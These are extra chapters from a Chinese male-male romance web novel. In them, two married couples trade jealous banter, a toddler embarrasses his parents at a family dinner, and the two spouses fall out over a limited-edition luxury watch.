许念一开始还沉浸在“居然见到了活的迟铎和裴与驰”的激动里,压根没反应过来。等到车开进自家的车道,他才后知后觉闻到从驾驶座那边飘过来的酸味,偏过头一看,某位顾总脸臭得跟谁欠了他八个 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许念下意识伸手勾住他脖子,尾音都飘了,眼睛却还是弯着,明显一点都不害怕。弟弟真是百逗不腻,次次都上钩。许念心里想着,又立刻抿紧了唇防止自己忍不住笑。 顾妄把人抵到玄关墙上,一只手托着他腿弯,另一只手压在他后腰,脸色臭得要命:“我们结婚才几年,你就这样?” 许念眨了眨眼,装得一脸无辜:“我哪样了?” 那句“No No No,弟弟你还没到法定年龄,严格来说我们这不叫结婚,叫无证驾驶”,许念想了想,还是没说出来,怕顾妄一秒红温。 “当着我的面,对着别的男人犯花痴。”顾妄盯着他,越说越不爽,“还拿我跟他们比。” 许念一看他这副护食护到炸毛的样子,差点当场笑岔气,肩膀都在抖:“我那叫正常欣赏,好不好。” “少来。”顾妄盯着他,眼里盛满火气,“怎么,看腻了年轻的,现在换口味了,开始喜欢老男人了?” 许念这下是真的没绷住,笑得整个人往他怀里软,眼泪都快出来了:“你说裴总啊?” 顾妄下颌线绷得发紧:“裴与驰是个纯正的同性恋,你脑子里装的什么废料。” 许念眨巴眨巴两下眼睛:“那你不是啊?” 顾妄:“……” 他深吸了口气,半天才从牙缝里挤出一句:“……许念。” 迟铎那种,他还真没怎么放在眼里。裴与驰那种才烦。除了年纪大点,他一时半会儿还真挑不出什么毛病。更气人的是,许念刚才夸的时候,表情还那么认真。 许念一看是真炸毛了,赶紧伸手捧住他的脸,在他唇角亲了一下,又啾了一下,声音软得快化开:“好啦好啦,亲亲,不气不气嘛。” 顾妄不躲,也不回应,就那么冷着脸看他,一副“你今天别想轻易糊弄过去”的样子。 许念只能继续往上贴,鼻尖蹭了蹭他下巴,声音放得更软:“人家长得帅是客观事实嘛——” 话刚出口,他就眼睁睁看着顾妄周围的气压又大幅度往下降。 “……” 完了,说错话了。 许念立刻补救,手捧着他的脸一顿乱揉:“但我又不喜欢他们,我只喜欢你呀!” 顾妄冷笑一声:“你最好是。” “本来就是!”许念理不直气也壮,挂在他身上晃来晃去,“而且人家两口子感情多好啊,我那是单纯磕CP,欣赏一下人家的绝美爱情,又不是对人有想法,这都不行?” “不行。”顾妄答得斩钉截铁。 许念乐了,鼻尖往他鼻尖上轻轻碰了碰:“顾总,你也太霸道了吧。” “嗯。”顾妄盯着他,语气冷冷的,“你当着我的面夸别的男人,还指责我霸道?” “磕cp,欣赏绝美爱情”那句话,在顾大少爷那套吃醋系统里,直接被自动屏蔽。他脑子里能留下来的,只有加粗加红的——夸别的男人长得帅。 许念笑得不行,拿鼻尖去蹭他的鼻尖:“顾大少爷,讲点道理好不好。” 顾妄托着他往上颠了一下,面不改色:“我什么时候跟你讲过这个。” 许念看着眼前这张醋得要命,却还强行装酷的脸,终于没忍住,趴在他肩上笑了好一会儿。笑够了,他才仰起头,在顾妄棱角分明的下巴上“吧唧”亲了一口。 “他们再帅,也没你帅啊。” 顾妄硬是端着架子没吭声。 许念眉眼弯成两道小月牙,伸手去戳他的嘴角:“尤其是吃飞醋的顾总,最帅了。” 顾妄冷冷盯了他两秒,终究还是没绷住,低头就在他唇上毫不客气地咬了一口:“少来这套。” 话音刚落,许念只觉得身子一轻,下一秒整个人就被他从墙边抱开,直接扔进了沙发里。 “顾妄——” 许念整个人陷进靠垫,头发散了一脸。他刚撑着手肘想爬起来,就被顾妄俯身压了回去。许念长睫毛扑闪了两下,眼神不自觉往旁边飘,脚趾在沙发垫上蜷缩起来:“……你干嘛呀。” 顾妄单手撑在他身侧,垂眼看着他,冷着张脸:“你说我干嘛。” 许念被他盯得心口一跳,手指揪住他衣摆,小声嘀咕:“那……你要是真这么有精力乱吃飞醋,我再给你生一个好了。”说到后面,他自己先不好意思起来,声音越说越小,连眼睛都不敢再看顾妄:“一个转移不了你的注意力,两个总行了吧!” 顾妄没立刻接话。 他盯着许念那张绯红的脸看了会儿,忽然极轻地扯了下嘴角。 “不生。” 许念愣住,呆呆抬头:“啊?” 顾妄扣在他腰侧的手一点点收紧。许念腰间一酥,被迫更深地陷进沙发里,膝弯也被他强硬地抵开。他还没来得及退缩,顾妄已经彻底压了下来。 “二胎不生。” 他说到这儿顿了顿,唇擦着许念耳廓过去,故意放慢了声调。 “但你要是真这么想生——” 他低头在他耳垂上咬了一下,声音落下来,烫得许念半边身子都酥麻不已。 “今晚我可以让你慢慢体验……过程。” 彩蛋: 亚比潮男两大逆鳞:一,180;二,裴与驰。 裴砚舟:“?” 如果迟铎听见顾妄那几句,大概会当场挽袖子。 “你小子最好别落老子手里。” “回头就让裴与驰出去给你那破交易所做一轮反向宣传:动不动拔网线,服务态度烂穿地心,珍爱资产,请一定远离顾少。” “还有,谁老?!谁老??!!!二十七怎么了,你是活不到二十七了?小兔崽子还在那点评上了?” “许念怎么找了你这么个玩——算了,懒得说,说多了影响美女风评。” “明天老子就把人约出来,带他去见点世面。省得年纪轻轻,吊死在一棵歪脖子树上。” 然后许念眨着眼睛,双手把蛋糕递过去,再奉上一杯咖啡,软声软气地哄:“哥,我替他给你和裴总道歉,你别跟他一般见识嘛。他就是年纪小,脾气冲一点,人其实很好的。” 迟铎脸色刚和缓一点,就听见许念又小小声补了一句:“不过……我还有个事想问你。” “我其实还想再给他生一个。”许念抿了抿唇,一脸认真,“可他死活不肯,怎么办呀?” 迟铎:“……” 草。 这不就是另一个自己吗。 他平时提起裴与驰,好像也这德行。 15.双人成行(2)[番外] 迟铎和许念混熟以后,黏得简直没眼看。 一碰面,不出三分钟,俩人必定挤进同一张单人沙发。头要凑一起,手机要并着看,说话全靠贴着耳朵嘀咕。肩膀挨肩膀,腿碰腿,旁边人想插句嘴都找不到缝。 顾妄端着酒坐在一边,先忍了两轮。第一轮,他只是皱眉。第二轮,脸已经黑透。指节一下一下敲着杯壁。他人坐着没动,耳朵倒是很诚实,微微偏过去,想听听这俩人到底在说什么见不得人的悄悄话。 然后他就听见许念软着嗓子问:“哥,你看这个普拉提教练怎么样?刚好可以一对二。” 迟铎把手机一捞,眯着眼把照片放大,盯了两秒,直接笑了:“行个屁。肚子比我俩加起来都圆,他带我们练什么?练一起发福?” 许念赶紧往他那边又蹭了一点,抬手挡着嘴,神神秘秘告状:“顾妄找的。他只同意这个。” 迟铎表情当场一垮,像被这一句精准勾起了什么不堪回首的回忆。他把手机往茶几上一扔,整个人往后摊进靠垫里,长腿一伸,生无可恋:“行吧。我回头去探探裴与驰口风。按他那个神经病程度,没准这个都得先审一轮。” 顾妄听到这里,原本绷紧的下颌线总算放松了一点。 这俩人话题跳得比他打游戏切屏还快。上一秒还在骂普拉提教练肚子大,下一秒已经从热玛吉聊到水光,再下一秒,精准落到骂名表店柜哥。 “昨天又暗示我配货。”迟铎抱着胳膊,眉头拧得死紧,“我问他表呢,他跟我扯什么总部排单。排他大爷的单。” 许念刚喝了一口果汁,听见这话,立马往前一凑:“对对对,我那个SA也是。每次都说让我排队等。” “等个屁,”迟铎冷笑,“等到裴与驰退休了都轮不上这块破表。” 旁边一个不长眼的富二代顺嘴插了一句:“这有什么,去二级市场收个全新的不就完了?” 迟铎想都没想:“不要。” 许念也跟着摇头:“不行。” “别人戴过的我受不了。”迟铎一脸嫌弃。 许念捧着脸在旁边猛点头:“就是呀。” 迟铎下巴一抬,老公人没到场也得先护上:“裴与驰什么身价,凭什么去捡别人二手的垃圾。” 许念软乎乎接上:“顾妄也不行。他要戴就得是一手全新的。” 顾妄本来还靠在那儿冷着脸偷听,听到这句,彻底没了脾气。 哦,纯正姐妹局。 他往后一靠,抬手捏了捏眉心,脸色从“谁再挤我老婆我弄死谁”顺利切回“你们闺蜜继续聊”,低头回消息,懒得再盯了。 他就说,裴与驰那种人,再怎么样,也不至于连自己老婆都看不住。 后来这种局多了,顾妄甚至偶尔还愿意给他们兼职当司机。他把车停在路边,车窗降下一半,单手搭着方向盘,看着迟铎和许念手挽着手下车。俩人走着走着,脑袋又凑一块去了,不知道在说什么,说到一半还一起笑。顾妄盯了两秒,扯了下嘴角,阴阳怪气地学许念平时那股黏糊劲儿:“姐姐妹妹。” 裴与驰那边,反倒真没太大意见。 迟铎混太太圈,他不担心。他又不是某些年纪不大、醋劲先长全的小鬼,老婆多看别人两眼都能自己在心里拉警报,公的母的都一视同仁地防。 比起操这份闲心,他宁愿多赚点,早点把迟铎下台车订了,新一季高定也一起包进去。 他真正烦的,是迟铎身边那群纽约贵妇。自己挑男人的眼光烂得没边,回头倒最爱对别人老公挑三拣四。仿佛只要把全天下男人都骂成废物,自己家那几个就不算最差的了。 那天一群人围着迟铎,端着香槟,七嘴八舌给他洗脑。 “老公归老公,外面找点乐子也不冲突呀。” “就是,花他的钱,玩点开心的,多正常。” “Bruce那种工作狂,三天两头飞来飞去,你一个人不无聊吗?” “那个Dr. Richard真的不错,长得帅,脾气也好,做项目特别有耐心。你先见一面嘛,见见又不亏。” 迟铎本来翘着腿刷手机,听到这儿,实在忍不了了。他把墨镜往头顶一推,眼皮一掀,脸直接沉下来:“你们有完没完?” 旁边还有人笑嘻嘻往上拱火:“我们这不是替你考虑嘛——” “少来。”迟铎把手机往桌上一扣,“不约。我老公最帅,别拿些乱七八糟的来碰瓷。” 这话他在外面说得特别像样。态度端正,立场明确,经得起查,也经得起盘。 结果一回家,人往沙发里一瘫,腿一抬,特别自然地搭到裴与驰膝盖上,嘴里叼着根棒棒糖晃了两下,冷不丁来一句:“她们说有个Dr. Richard挺hot。” H O T 裴与驰敲键盘的手停了。他抬眼扫过去,一句话没说。 当天晚上,迟铎就切身体验到了,他老公的腹肌到底有多H A R D。 可惜迟铎平时时尚杂志看太多,正经文学半点没往脑子里装。裴与驰都快把他折腾散架了,宝矿力一瓶一瓶往他嘴边喂,硬是没从他嘴里撬出一句“老公你最hot”。迟铎到最后脑子都成浆糊了,也没想明白裴与驰今晚到底在较什么劲,到底想听什么。 裴与驰把人抱进浴室。热水一开,水汽蒸腾而上,迟铎本来就浑身发软,被热气一熏,站都站不稳,额头直接抵到裴与驰肩上。呼吸一阵一阵蹭过去,缓了好半天,才挤出一句:“亲我。” 裴与驰单手撑着瓷砖,垂眼看他,愣是没动。 迟铎费劲掀开一点眼皮:“……干嘛?” 裴与驰冷着一张脸,吐字毫无温度:“不敢。不hot,怕被嫌弃。” 他说这话的时候,手上动作却半分没收敛,热水顺着指骨往下淌,那句“不hot”听着完全不像自嘲,更像蓄意找茬。 迟铎:“……” 他盯着这张一本正经发癫的冷脸,脑子里的脏话排着队往外挤:有病就去治,真的。都把他折腾成这样了,他还没舍得从他腹肌上滚下来,这人到底哪来的脸在这儿计较hot不hot?文学A*很了不起是吧,周树人都快让你请出来了,结果你读不懂什么叫身体力行? 迟铎脑子里那句“离——”都已经冲到嘴边,又被他硬生生咽了回去。 算了,不至于。 主要是他现在是真的没劲,洗澡得靠裴与驰抱,回床上也得靠裴与驰抱,真把人惹毛了,最后吃亏的还是自己。他闷闷地拿额头往裴与驰肩上撞了一下。撞得毫无杀伤力,纯属撒娇。 裴与驰低头看他,眼底那点冷意总算化开,带出一点笑。 迟铎气得想咬人,可惜连张嘴的力气都没剩多少,只能含含糊糊骂:“有病……” 裴与驰“嗯”了一声,照单全收,顺手把人往怀里收得更紧,低头亲了下他额角:“现在知道了?” 迟铎还在嘴硬:“知道个屁。” 裴与驰捏着他后颈,慢条斯理给他判刑:“下次再夸别人hot,开口前先想想后果。” 迟铎靠在他怀里装死,过了半天,才憋出来一句:“我那是转述。” “那也不行。” 总之,这种迟铎连真人都没见过的飞醋,冷脸男能翻来覆去吃上好几个回合。吃到后面,他看迟铎那个太太团越来越碍眼,直接轻描淡写地下达指令:“给你换个圈子。” ……真正的原因当然不止于此。 那天晚上,迟铎窝在沙发里刷手机,二郎腿一翘一翘的,随口报备:“她们约我去上普拉提。” 裴与驰回着邮件,头都没抬:“嗯。” 迟铎划着手机:“教练是个意大利人。” 裴与驰敲击键盘的手停了。 “八块腹肌。”迟铎继续往下念。 这回裴与驰直接抬头。 可惜迟铎的危机雷达完全失灵,抱着手机继续研究:“她们一周去五次,跟上班打卡一样准时。我觉得我也可以练练。” 这话他真没别的意思。主要是裴与驰某些方面条件过于离谱,天赋异禀得毫不讲理,他有时候柔韧性跟不上,确实吃大亏。练一练,对双方都有好处。 说白了,还不是为了造福裴与驰。 结果裴与驰听完,“啪”的一声把笔记本合上,动静大得吓死人。 迟铎吓了一跳,就看见他起身朝自己走过来,后背莫名发毛:“……干嘛?” 裴与驰走到沙发前,垂眼看着他,声音压得很低:“你试试。” 迟铎愣住:“试什么?” “出轨。” “……” 于是,那晚临时召开的家庭会议,开得相当不民主。 至于到底有多不民主,一周后回国的一次家庭聚会,裴砚舟小朋友身体力行地给出了标准答案。 那天他坐在儿童椅上啃蛋糕,嘴边糊了一圈奶油,两条小腿在半空里晃荡,乖得毫无攻击性。谁都没料到,他待会儿平地一声雷,张口就把他爹妈双双送上了断头台。 迟铎当时刚从洗手间回来,前后不过晚了两分钟。就这两分钟,已经足够他儿子当众弑亲。人还没走近餐桌,就听见裴砚舟字正腔圆来了一句:“爹地打妈咪。” 满桌瞬间死寂,连刀叉碰盘子的脆响都没了。 所有人齐刷刷抬头,所有人齐刷刷抬头,先看裴砚舟,再看裴与驰,最后一齐看向刚走回来的迟铎。 迟铎脑子里轰一声,差点当场裂开。他三步并两步冲过去就要捂儿子的嘴,急得拔高音量澄清:“没有的事!别乱说!” 这已经不是童言无忌了。 这是诽谤,赤裸裸的诽谤!!! 这臭小子今天敢往他爸头上扣家暴的帽子,回去不请他吃一顿竹笋炒肉,这事绝对翻不了篇,谁来劝都不好使。 裴砚舟半点没被他妈的气势镇住,小手一抬,稳稳当当地指向迟铎,继续奶声奶气地补充呈堂证供:“妈咪还哭了。” 迟铎的手一下僵在半空里,桌上这帮亲戚连呼吸都屏住了。 小朋友还嫌证据链不够完整,又舔了口奶油,特别严谨地补充:“周四。在客厅。” 刚才大家脸上的表情还是纯震惊,眼神在裴与驰和迟铎之间来回扫射,盘算着要不要当场大义灭亲,替儿媳妇 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只剩裴砚舟还在那儿晃腿,舔奶油,吧嗒吧嗒发出声音,对自己造成的杀伤力毫无概念。最后,也不知道是谁先没憋住,“噗嗤”一声笑出来。这一笑像开了闸,整桌人立刻低头装忙。切蛋糕的切蛋糕,喝水的喝水,研究桌布的研究桌布,一个比一个会装。 总之,那次家庭聚会过后,迟铎脸算是丢得干干净净,普拉提课程自然也彻底黄了。 回美国后没多久,迟铎就被裴与驰打包送去跟许念做姐妹了。 某个周末,迟铎被折腾得沾床就睡,手机扔在枕边震了一下,他连眼皮都没动。裴与驰伸手把手机拿过来,光明正大地偷看老婆微信,神情自然得像在看华尔街日报。 屏幕上跳出来一条新消息。 【念念宝宝??????:哥~他们说Profhilo效果比丽珠兰还好哎??~下周你有空吗?我们一起去试试好不好????】 裴与驰盯着这条消息看了两秒,没回,又原样放回去,顺手俯身亲了下迟铎额头。 嗯,这个圈子就很好,很安全。 至少没有八块腹肌的意大利人。 下周他还可以亲自送。 彩蛋: nanny们苦苦哀劝太太不要打小宝贝。小宝贝快四岁了,可从来没受过皮肉之苦呀,太太怎能如此狠心? 迟铎把袖子往上一撸,翻了个极其嚣张的白眼:“这块小叉烧胆肥了敢当众冤枉他爸,害他爸丢脸。就算是我生的,惹了我老公也照打不误。” 于是裴砚舟小朋友这顿欠了八百年的竹笋炒肉,今天总算是被他亲妈按在沙发上结结实实地落实了。 “啪!” 迟铎一巴掌呼在屁股上,冷着脸质问:“说话!还敢不敢满嘴跑火车冤枉你爸了?” “啪!”没等小家伙吱声,又是一下。 “你爸平时对你还不够好?你张嘴就给他扣个家暴男的帽子。” 另一头,迟了了接到保姆们通风报信的电话,手里的紫砂壶差点当场摔碎。他的心肝无敌霹雳宝贝这回造的谣实在太超过,直接造到了他爸头上。光造谣也就算了,还正好撞在他那个护夫狂魔的娇妻儿……女儿手里。 迟了了一脚油门踩到底,方向盘抡得飞起:“迟铎这兔崽子不会真下死手吧?” 他太了解自家那个倒霉玩意儿的德性。纯娇妻,纯!娇!妻!一旦涉及到裴与驰,护短的架势简直六亲不认。迟了了心急如焚,连闯两个黄灯去救宝宝。 战况还在继续 裴砚舟捂着饱受摧残的屁股,身为一个流血流汗不流泪的硬汉,他硬是把眼眶里打转的眼泪憋了回去,满脸倔强地瞪着罪魁祸首。 “瞪什么瞪?”迟铎指着这块小叉烧就开火,你爸在外面辛辛苦苦赚奶粉钱,名誉差点让你一句话给毁于一旦!你再满嘴跑火车诽谤他,别说限量版钢铁侠了,明天咱一家三口直接组团去天桥底下要饭!” 裴砚舟小短腿往后一撤,奶音里全是被逼上梁山的决绝:“我要离家出走!我要去街头流浪!” 狠话放得震天响,奈何这对豪门父母的售后服务向来不按套路出牌。 前脚刚抽完亲儿子的屁股,后脚迟铎就掏出黑卡往茶几上一拍,下巴微抬,指挥旁边的助理:“把市面上能找到的钢铁侠限量手办全买了,搬回他房间。” 一直靠在门边纵容老婆动用家法的裴总更干脆,直接拨通机组电话:“航线申请好,这周带他去把全球的漫威主题园区刷一遍。” …… 迪士尼酒店套房。 裴砚舟整个人趴在裴与驰的肩膀上,手紧紧揪着老爸的衣领,声音委委屈屈地服软:“Daddy,对不起,我不该乱讲话。”认错态度相当诚恳。裴与驰单手托着他,轻拍了一下他的后背,算是接受。 这父慈子孝的画面才维持了三秒,小家伙马上扭过头。裴砚舟直勾勾盯向旁边正翘着二郎腿、疯狂按着手柄打游戏的迟铎。接着,小下巴高高一抬,理直气壮地伸出短手。 “我的歉道完了。”裴砚舟板着小冷脸,掷地有声,“现在,该Mommy跟我说对不起了。” 迟铎按手柄的动作一顿,掀起眼皮:“?” 皮又痒…… 算了,板着他那张小冷脸的样子和他爸一模一样。 实在可爱。 16.双人成行(完)[番外] 姐妹花偶尔也会翻脸。 十次里有十一次,都是因为自家男人。 下午,许念窝在沙发里百无聊赖地翻杂志,手机突然一震。销售Helen发来一张图,他指尖一点,差点被满屏的火彩闪瞎眼。满钻表盘,招摇的表链,整支表写着“有钱且拽”四个大字。许念瞬间就把顾妄塞进画面里了:黑卫衣,或者深色西装,袖口随便往上一推,手腕一抬,那张拽得谁都不爱搭理的脸配这块表,简直就是量身做的。 绝配。 Helen的消息还在往外跳。 【Helen:念念宝宝下午好呀??跟你update一下,我们店最近会到一只满钻限量款,我一看到图就想到顾总了,真的特别配他???】 【Helen:不过这只现在真的很紧俏,我们店大概率就分到这一只,最后给谁,还得看manager怎么批。之前的消费记录、关系维护这些都会一起拉出来看??】 【Helen:还有个小道消息我先偷偷跟你讲一下哈??你别说是我说的哦,我感觉裴太最近也在盯这只,Hazel这两天跑manager办公室跑得特别勤。】 许念盯着最后一句,眉毛一下拧起来,抱枕也被他捞进怀里。 顾妄以前对表没兴趣。衣服鞋子、键盘耳机、显卡外设,他样样讲究,轮到手腕,常年空着。许念以前还拿这事逗过他,趴在他身上问他是不是小时候小天才手表戴出心理阴影了。后来顾妄终于肯戴点东西了,腕上挂了块Apple Watch。那天许念还捏着他手腕转来转去看了半天,问他怎么突然转性。顾妄眼皮都没抬,手一收,把人往怀里带,说得又拽又欠: “怕你这爱哭鬼找不到我。漏接你消息,最后还不是我来哄。” 许念现在想起来,心口还是发软。别说二胎了,再给他生个电竞战队,他都愿意。 可现在不一样了。顾妄的交易所越做越大,人来人往都是西装革履的那一拨,场合也越来越正经。别人腕上不是百达翡丽就是理查德米勒。别人有的,他家弟弟也要有。不对—— 别人没有的,他家弟弟也得有。 许念低头敲字,删了又改,改了又删,磨蹭半天才发出去。 【许念:那如果我特别想给顾妄拿这只,大概要怎么配呀??你先偷偷跟我透个底嘛,我想先准备一下??这块真的太适合他了??】 消息刚发出去,顶端的“正在输入中”立刻亮了。 【Helen:我就知道你会喜欢??这只真的特别衬顾总!但我跟你讲实话哦,这种超限量,manager不会轻易松口,以前的配货都得一起算进去综合考量??如果我们要稳拿,珠宝和几只金额好看的冷门常规款都可以先看看。我帮你列个单子,我们慢慢来??】 许念盯着“慢慢来”三个字,嘴一抿。 慢不了一点。 他退回聊天列表,戳开置顶的【??宇宙第一老公酱(??? ??? )】,聊天记录里全是顾妄出门应酬时给他发的报备,哪家餐厅,几点结束,航班延误没有。这个人平时拽得二五八万,谁都懒得理,一离开他视线,倒是自觉得不行,隔一会儿就来一条,生怕他一个人在家胡思乱想。最底下那句还是昨晚发的: 【老婆亲亲】 许念盯着那四个字,没忍住翘了下嘴角,抱着手机往沙发里一倒,腿在半空晃了两下,脑子已经不受控制地开始往晚上飘。 最好今晚就把表拿回来。 等顾妄一进门,他就把人拽过来按进沙发里,自己往他腿上一坐,亲手把表扣到他腕上。顾妄收礼物最会装,明明喜欢得眼神都黏上去了,嘴上也只肯扔一句“还行”。 他都想好了,到时候他就抱着顾妄脖子不撒手,贴过去一遍遍问“真的吗”“真的只有还行吗”,问到顾妄往后躲,问到那张拽脸一点点绷不住,问到他嘴上还在装,手却已经先把人往怀里按。要是运气再好一点,说不定今晚还能把那声消失很久的“姐姐”也一块儿逼出来。 他已经好久没听到顾妄叫姐姐了。 自从有了宝宝,这死小孩突然长出反骨,姐姐不肯叫,连“弟弟”都不让他喊。上次他故意凑过去,软绵绵喊了声“弟弟”,顾妄当场沉了脸,一把把他捞过去按到腿上,低头咬了咬他耳垂,嗓音压得又低又坏。 “不准。” “叫老公。” 想到这儿,许念胜负欲直接爆棚。这表必须拿,他必须听到那声姐姐。 【Helen:就是……如果裴太那边也真的想要这只,可能会有点难搞?? Hazel最近动作真的挺多的。】 许念盯着那条消息看了两秒,没再犹豫,直接切出去给迟铎发微信。 消息发出去以后,他人就往沙发角里一缩,抱着手机不动了,连刚才还晃个不停的腿都老实下来。那一大段话发的时候不觉得,真发完再回头一看,连他自己都觉得有点牙酸,茶味都快从屏幕里冒出来了。可那又怎么样,这表实在太适合顾妄了,适合到他只要一想到最后可能会被裴与驰戴走,心里就先不舒服起来。 他抱着手机,把那段话从头到尾又看了一遍,越看越觉得自己说得有点离谱,嘴唇抿了抿,额头往抱枕上一磕,默默在心里忏悔:老公对不起,都是战术。 反正表一拿到手,他一定赔罪,怎么赔都行。 与此同时,迟铎那边也收到了风声。 【Hazel:裴太,我先给你透个信??那只表店里大概率就这一只。我感觉顾太八成也在盯这个??要不我们考虑挂沈总名下?她profile一直很顶,manager那边可能会直接放行。】 迟铎正翘着腿窝在懒人沙发里,手里还捏着半杯冰美式,刚把Hazel几行字扫完,许念的微信弹窗就迎面砸了过来。他顺手点开,本来还懒洋洋的,结果第一眼看到那句“顾妄以前穷得只有块苹果手表翻来覆去戴”,差点把手机笑飞。 【念念宝宝??????:哥~可以把这块表让给顾妄吗?求求你了嘛,你最好了~??裴总从小什么好东西没见过呀,这块对他来说也就是普通发挥啦??可顾妄不一样嘛,他以前穷得只有块苹果手表翻来覆去戴,你就让让他嘛,好不好呀~??】 迟铎把手机往腿上一扣,先乐够了,才又慢悠悠捞回来重新看了一遍。什么叫“穷得只有块苹果手表”?这话说得,好像顾妄以前不是戴表,是在天桥底下抱着表带啃。还有那句“裴总从小什么好东西没见过”,听着也怪可笑的。他老公命好,会投胎,会赚钱,怪谁? 他刚要回,许念那边第二条又跟了过来。 【念念宝宝??????:而且哥~顾妄以前走的也是潮男路子呀,克罗心巴黎世家这些他都喜欢,虽然审美肯定还是远远不如你啦??但多少也算沾点边嘛,你就当给后辈一个机会,让让他好不好呀~??】 迟铎看得直乐,指尖在手机壳上轻轻敲了两下。顾太为了抢表,是真的豁得出去,嘴甜得能拧出蜜来,姿态也放得低,换个人说不定真就被他哄松口了。可惜这套对别人有用,对他没用。 这阵子裴与驰忙得厉害,一天飞三个城市都不稀奇,钱往家里搂得比印钞机还快。可再忙也没耽误把他放第一。前阵子他不过顺嘴说了句那台阿斯顿马丁漆面一般,第二天就有人抱着配置单站在客厅里等他挑。 迟铎想到这儿,心里那点酸软又一点点冒上来。这个笨蛋,也不知道这么拼命干什么,到底还要多有钱才算完。可他转念一想,算了,赚钱和爱老婆本来就是裴与驰的爱好,爱好是朴实了点,但人活着总得有点追求。既然冷脸男忙得脚不沾地,那好东西当然得他来抢,抢回来再亲手给他戴上。别人想不想要,关他什么事。更何况这块表闪成这样,贵成这样,简直就是照着裴与驰长的,连那股目中无人的矜贵劲都跟裴与驰一模一样。顾妄那种小屁孩,西装都还没穿利索呢,他家冷脸男从十几岁起穿定制就没输过。这块满钻限定不挂裴与驰手上,还能挂谁手上? 他点开置顶的【??宇宙最帅冷脸男??】。聊天记录还停在昨晚三个多小时的视频通话上。迟铎盯着那串时长看了会儿。 ……更想了。 冷脸男怎么还不回来。 迟铎把手机揣进怀里,过了两秒又摸出来,整个人往沙发里一陷,脑子已经不受控制地往晚上飘。 这表肯定不能干巴巴送。等裴与驰推门进来,他绝对不能像平时那样先扑上去,得先窝在沙发里低头打游戏,连眼皮都不抬一下,让冷脸男自己先不爽,自己在那儿琢磨,老婆今天怎么没黏上来。等那股熟悉的鼠尾草气息贴到身边,他再慢悠悠丢一句:“哦,你回来了。今天碰到个叫Eric的校友,非要请我喝手冲。” 冷脸男那张万年没表情的脸,八成会先停一秒,嘴上淡淡“嗯”一声,手却已经开始扯领带了。 迟铎想到这里,忍不住把手机举高了点,从相册里翻出裴与驰那张抓拍。照片里的人正低头点烟,领带松松挂着,眉眼冷淡,侧脸锋利得近乎刻薄,帅得人腿软。迟铎盯着看了半天,越看越觉得,还得再惹一下。比如加一句:“做风投的,188,挺会穿,胸肌把衬衫都撑起来了。” 这句台词在脑子里滚完一遍,他自己先有点心虚。说这么细,跟拿把小刀专门往裴与驰心口上戳也没什么区别。他舍不得真把冷脸男惹成这样。裴与驰到底会气成什么样,他也拿不准。可有一点倒是明摆着——裴与驰绝对忍不了。 八成长腿一迈,直接把他从沙发里捞起来,按进怀里,先咬一口再说。等把他折腾得喘不上气,眼角也红了,冷脸男才会捏着他下巴,垂着眼,冷着那张脸问一句:“Eric?” 再气一点,嘴里大概就什么难听说什么了。 “ 想让他来给你交公粮?” “他能让你这么爽?” 到时候,他就趁人最不痛快的时候,从背后把表盒摸出来,扣到那只手腕上,再抬手拍两下那张冷脸,吹声口哨,笑眯眯来一句:“服务不错,帅哥,这是小费。” 想到这里,迟铎抬手打了个响指,自己先把自己哄好了。 算了。 真把老公惹伤心了,也不是没法收场。大不了这阵子让裴砚舟先当会儿留守儿童,他自己每天老老实实伏低做小,黏在裴与驰身边当挂件,哄到人消气为止。 再说了,裴与驰收到礼物,多半也不会好好说人话。明明心里喜欢得要死,脸上还得端着,十有八九先冷着声音刺他一句:“拿我的副卡买表,再给我付小费?” 那又怎么样。 他只要往前一凑,贴着裴与驰耳边软软来一句“老公,我爱你”,冷脸男准得破功。说不定还会用那只刚戴上新表的手直接把他眼睛一捂,低头不由分说地亲下来,等把他亲得发懵了,再贴着他耳边,低低命令一句:“别乱看。” 迟铎想到这里,心情都跟着好了,顺手把一家三口的屏保换成了裴与驰扯着领带、侧脸抽烟那张抓拍。他盯着看了两秒,最后满意地把手机锁了屏。 这表必须抢。 许念懂什么。顾妄那种小屁孩,许念随便哄几句、亲两口,想听什么话都能骗出来。他家冷脸男可不一样,那张嘴比保险柜还难撬,平时逼半天都不见得肯多说一句情话。这块表要是用得好,说不定正好能把裴与驰那点难得的反应全钓出来。 所以没得让。 乖乖排下一块去吧。 先等裴与驰把他该说的话说了,再轮到他们家那个小朋友。 他手指一动,直接回了四个字。 【哥宝宝?????:各凭本事。】 消息发出去以后,聊天框安静了两秒。迟铎几乎不用多想,都能猜到许念现在是什么样:抱着手机缩在沙发角,嘴抿着,眼睛瞪得圆圆的,心里八成已经开始嘀咕了,手上还得硬撑着体面。 果然,下一条很快跳了出来。 【念念宝宝??????:……哥,你真的不再考虑一下吗????】 迟铎回得也快。 【哥宝宝?????:不考虑。】 【哥宝宝?????:你老公缺表,我老公就不缺?】 许念抱着手机,指尖在屏幕上停了一下,还是不肯死心。 【念念宝宝??????:裴总什么都有了呀??】 迟铎靠进沙发里,扯了下嘴角,回得理直气壮。 【哥宝宝?????:那是他应得的。】 许念一下被噎住,抱枕都快让他掐变形了。他盯着屏幕憋了半天,终于还是不服气地敲下一句。 【念念宝宝??????:可是顾妄戴这块真的会很帅??】 迟铎眼皮都没眨。 【哥宝宝?????:裴与驰戴更帅。】 许念看到这句,鼻尖都皱起来了,差点没当场把手机砸进抱枕里。 表都还没拿到手呢,比什么比。 可这口气刚顶上来,他又立刻不服了。迟铎老公不能受委屈,难道他老公就能吗?想到这里,他干脆不再跟迟铎废话,切出去就去戳Helen。 【许念:宝,你直接帮我算吧??】 【许念:如果我真的想拿这只,大概要再补多少呀~】 迟铎那边也没闲着,转头就去敲Hazel。 【迟铎:挂沈总名下的话,把握有多大。】 Hazel 几乎是秒回。 【Hazel:大很多!!】 迟铎满意了,心情一好,继续给许念发。 【哥宝宝?????:不好意思哦宝,这次你哥也挺想赢的。】 【哥宝宝?????:不过你也别太有压力,毕竟你老公戴苹果的时候,也挺可爱的。】 许念看到最后一句,整个人直接从沙发上弹了起来。 好。 彻底撕破脸了是吧。 他低头噼里啪啦打字,连表情都不愿意再装甜了。 【念念宝宝??????:苹果怎么了???戴苹果也比有人戴满钻帅!】 迟铎秒回,像是专门在蹲他破防。 【哥宝宝?????:哦,那你还抢什么。】 许念:“……” 聊天框彻底安静了。 昔日手牵手上普拉提、并肩挑香水的姐妹花,就这么因为一块表正式冷战。两个人谁也没再回消息,转头就开始疯狂轰炸各自的SA,配货单拉得跟清明上河图一样长,谁都没打算先服软。 